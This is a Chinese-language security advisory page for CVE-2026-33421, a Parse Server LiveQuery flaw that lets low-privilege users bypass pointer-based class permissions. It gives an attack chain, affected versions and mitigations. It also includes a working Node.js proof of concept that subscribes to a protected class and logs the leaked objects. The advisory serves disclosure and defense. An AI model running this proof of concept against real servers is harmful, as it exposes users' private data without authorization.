IPBUF安全漏洞报告
English
CVE-2026-33421 CVSS 6.5 中危

CVE-2026-33421: Parse Server LiveQuery权限绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33421
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限绕过Parse ServerWebSocket信息泄露CVE-2026-33421Access Control

漏洞概述

Parse Server 是一个基于 Node.js 的开源后端。在其特定版本之前,LiveQuery WebSocket 接口存在安全漏洞,未能有效强制执行类级别权限(CLP)中的指针权限。这使得任何经过身份验证的用户都可以订阅 LiveQuery 事件,并实时接收受指针权限保护的类中所有对象的更新数据,而无需验证对象指针是否指向该用户。该漏洞绕过了旨在通过 REST API 执行的读取访问控制,可能导致未经授权的敏感数据泄露。

技术细节

该漏洞根源在于 Parse Server 在处理 LiveQuery WebSocket 连接时的逻辑缺陷,具体表现为未能正确强制执行类级别权限(CLP)中的指针权限检查。Parse Server 通常通过 CLP 提供细粒度的访问控制,允许配置 `readUserFields` 和 `pointerFields` 来限制用户只能读取那些指向自身的对象数据。然而,在受影响版本中,LiveQuery 模块在处理订阅请求时,忽略了这一关键的安全校验步骤。攻击者只需拥有一个合法的 Parse Server 用户账号(满足低权限认证要求),即可建立 WebSocket 连接,并发送订阅请求监听受保护的 Class。尽管目标对象上的受保护指针字段并未指向攻击者,服务器仍会将这些对象的创建、更新或删除等实时变更事件推送给攻击者。这种行为与 REST API 的严格权限检查存在显著差异,导致了访问控制机制被绕过,使得攻击者能够持续窃取本无权访问的敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者注册或获取一个合法的低权限用户账号,获得有效的 Session Token。
STEP 2
2. 建立连接
攻击者使用该 Token 连接到目标 Parse Server 的 LiveQuery WebSocket 接口。
STEP 3
3. 利用漏洞
攻击者发送订阅请求,针对受 CLP 指针权限保护的类(如受限的用户数据表)。
STEP 4
4. 数据窃取
由于服务器未校验指针权限,攻击者实时接收所有对象的更新数据,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const WebSocket = require('ws'); // Target configuration const LIVE_QUERY_URL = 'wss://target-parse-server.com/parse'; const APPLICATION_ID = 'YOUR_APP_ID'; // Attacker's low-privilege session token const SESSION_TOKEN = 'r:attacker_session_token'; const ws = new WebSocket(LIVE_QUERY_URL); ws.on('open', function open() { console.log('[+] Connected to LiveQuery server'); // 1. Send connection request const connectMessage = { op: 'connect', applicationId: APPLICATION_ID }; ws.send(JSON.stringify(connectMessage)); // 2. Subscribe to a protected class to bypass CLP pointer permissions // Assuming 'PrivateMessages' is a class with readUserFields restrictions const subscribeMessage = { op: 'subscribe', requestId: 1, query: { className: 'PrivateMessages', where: {} }, sessionToken: SESSION_TOKEN }; setTimeout(() => { console.log('[*] Subscribing to protected class...'); ws.send(JSON.stringify(subscribeMessage)); }, 1000); }); ws.on('message', function message(data) { const msg = JSON.parse(data); if (msg.op === 'create' || msg.op === 'update') { console.log('[!] Successfully received sensitive data via bypass:', msg.object); } }); ws.on('error', console.error);

影响范围

Parse Server < 8.6.53
Parse Server >= 9.0.0, < 9.6.0-alpha.42

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 LiveQuery 功能,或通过网络层策略(如防火墙规则)严格限制对 LiveQuery WebSocket 端口的访问,仅允许可信的内部 IP 连接,以防止外部攻击者利用此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表